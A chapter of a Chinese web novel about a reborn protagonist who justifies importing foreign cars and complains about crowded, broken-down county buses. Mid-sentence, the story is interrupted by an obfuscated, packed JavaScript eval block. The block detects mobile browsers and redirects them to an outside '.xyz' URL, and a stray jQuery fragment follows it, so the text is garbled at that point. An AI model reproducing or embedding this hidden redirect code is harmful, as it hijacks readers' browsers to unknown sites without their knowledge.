现在国家刚刚放开了私家车的购买权限，有些商人已经闻风而动，立马开始做起了进口轿车的生意。
但他们需要重新跑到国外去，联系供货厂家，可是他们也没有足够的钱去直接把车子采购回来，摆在国内的商场里卖。
所以他们只能先接订单，让客户们看看图片，相中了哪个汽车之后就收一部分定金，然后从国外帮客户买上这个汽车，再运输回来，这其中的时间非常漫长，往往要好几个月甚至半年、一年。
陈松也想赚这个钱，他倒是能垫付得起资金，但他不想帮着晓滥国卖车。
他宁可去别的国家重新寻找汽车生产商，也不会卖晓滥国的车。
有的人可能就会说了，陈松你的想法真奇怪，你不想帮晓滥国卖车，但你自己却买了晓滥国的车，那他们的车到底是好还是不好呢？你这不是自相矛盾吗？
其实不然。
陈松买这些车，只是为了出行代步方便，他早就想买私家车了，只是国家一直不放开政策。
现在国家好不容易放开了，他当然是要先立刻买上，要不然出门太麻烦了，他早就受够了做公共汽车的苦。
别的不说，就说从流河县去往古安市的路程吧，首先就要先到流河县的公共汽车站去坐车。
那破汽车站的环境，真是糟糕透了，完全没法和后世的汽车站、高铁站、飞机场相比。
房屋破破烂烂的，勉强能够遮风挡雨，屋里几张破连椅，木头上的漆都掉的斑驳陆离了，坐上去摇摇晃晃，吱嘎直响。
还有那个破公共厕所，就是老旧的旱厕，冬天里都能快能把人熏晕了，更别说夏天了，苍蝇蚊子嗡嗡地飞，围着人转，根本都不带怕人的。
陈松都宁可在半路上找个没人的荒野草丛，拉个野屎，都比这个环境好。
然后再说汽车，从流河县到古安市的车都是老旧的中巴车，每次都是塞了满满的人和行李，没地方坐没地方站的，如果运气好，赶上这个车刚开始收客，买了车票上去还能找个位置坐下。
要是去的晚，这个车马上就要发车了，又不想耽误时间等下一班车的话，就只能花钱买站票了，哪里还能找到空位？
然后就是每个人的行李，座椅头顶上的行李架上塞得满满当当，说不定什么时候一晃荡，有些放置不到位的行李就有可能掉下来砸到人。
座椅中间的过道，也都是放着行李，连下脚的地方都没有。还有站着的乘客，这人挤人、人挨人的，一点都不比火车上的人口密度低，这个年代的交通压力有多大，就可想而知了。
有些放不开的行李，就要放到车子侧面下方的行李舱里，或者绑在车后窗下方的车后盖上。
还有的就要放到车顶上午，司机帮忙爬上去用绳子绑好，固定牢靠。
就算是这样，也经常会有行李包从车顶上掉落的事故发生。
然后是等车，有时候只需要等十几分钟，车子就开动了。有时候需要等半个多小时，更有甚者需要等一个小时！
从流河县发往古安市的汽车是每一小时发出一班，你如果去的时候正好是上一班汽车刚刚发走，那你就得坐下一班的汽车，等一个小时才能出发。
然后，这破中巴车是用了将近十年的老破车，这一路上走走停停，摇摇晃晃，能给人把吃下去的饭都给颠吐了！
就像一个行将就木、即将寿终正寝的老人一样，勉强凑合着还能往前走，说不定什么时候就报废了。
而且还经常抛锚，一旦抛锚，就不知道什么时候才能修好，这个年代都没有手机，想打电话找人来维修，或找另一辆车来替换，都办不到。
只能等下一辆公共汽车正好走到这里，把这些人捎带着，塞得满满当当的，一起运往古安市。
或者等路过的好心人帮自己去喊人来维修，要么就是公共汽车的司机自己跑出去喊人来维修。
这前不着村、后不着店的，一来一回还不知道要多久呢。
所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414947|171444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以有一些司机自己就带着简单的修车工具，如果是小问题的话，自己就能进行简单的维修。
等乘客们好不容易熬到了古安市里，下了车，却！也只是在长途汽车站，想要到达自己的目的地还要再转车。
这能忍？！
如果只是普通老百姓的话，他们已经适应了这样的交通状况和生活节奏，面对这样的生活现状也就无所谓了，毕竟大家都是这样，无奈又无力改变。
但陈松上一世已经适应了快节奏的生活方式，想要出差的话，出门抬脚就走，坐上豪车就直奔高铁站或飞机场，如果实在是相当紧急的事务，还有可能包一架专机，直接飞到目的地。
实在是一分钟都不用多等，就这，陈松有时候还嫌交通工具太慢呢，恨不得一步就迈到目的地才好。
上一世的时候，交通便捷了，生活节奏和工作节奏也都变得快到飞起，事务也更繁多了，交通便利是他必不可少的条件！
这一世，陈松早就受够了这个破破烂烂、焦头烂额的交通状况，也早就在等着国家放开私家车的购买权限的这一刻了！
所以国家一放开这个权限，他立马就等不及了，连一刻都不想多等了，也不管哪个国家的汽车，也不管质量好坏，先用最快的速度搞到手，先尽快解决了交通的问题再说！
但国内生产的汽车很难买，因为产量少，而且质量也不行，最好是从国外买。
而若是从国外购买的话，对陈松来说最便利的、最快速的渠道，自然就是从晓滥国直接购买了，然后用货轮运回来。
所以，并不是陈松不爱国，也不是他不支持国货，更不是和他想让国产汽车强大起来的理念相互矛盾，而是他迫切地需要先解决迫在眉睫的交通问题。
因此他就只能先从晓滥国进口一批汽车进来了，等以后再购买汽车的话，如果国产汽车强大起来了，他一定会购买国产的汽车。
因为他有了这批汽车就能沉住气、慢慢等了。